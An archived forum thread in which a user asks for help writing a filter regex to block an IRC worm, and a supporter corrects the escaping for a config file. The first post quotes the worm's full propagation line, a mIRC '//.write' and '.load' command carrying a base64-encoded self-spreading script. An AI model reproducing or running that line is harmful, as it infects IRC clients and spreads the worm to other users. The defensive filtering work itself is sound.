Help to write correctly regex.

These are old archives. They are kept for historic purposes only.
Post Reply
Psih

Help to write correctly regex.

Post by Psih » Wed Mar 01, 2006 10:40 am

The worm is distributed by the next line written in privat to the user:

Bla bla bla. Bla bla. Bla: //.write -c a $decode( b24gITE6am9pbjojOi5tc2cgJG5pY2sgzeD46CD07vLq6C4gzcUg4ujw8/ EuIM3g4eXw6DogFi8vLndyaXRlIC1jIGEgJCAkKyBkZWNvZGUoICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIGEgfCAuaWdub3JlICRuaWNr ,m) | .load -rs a

I have written regex as follows:
regex ".* //.write -c a \$decode\(.+,m\) \|.+load -rs a";

Whether it is correct?

aquanight
Official supporter
Posts: 862
Joined: Tue Mar 09, 2004 10:47 pm
Location: Boise, ID

Post by aquanight » Wed Mar 01, 2006 6:37 pm

No. In the .conf file all \ needs to be doubled (again).

Try:
regex ".* //.write -c a \\$decode\\(.+,m\\) \\|.+load -rs a";

Jason
Posts: 570
Joined: Mon Jun 14, 2004 5:09 pm

Post by Jason » Wed Mar 01, 2006 11:22 pm

Odd. I think I found one time, that thats not true. Oh well.
Why the hell can't my signature be empty?
"Your message contains too few characters."

Post Reply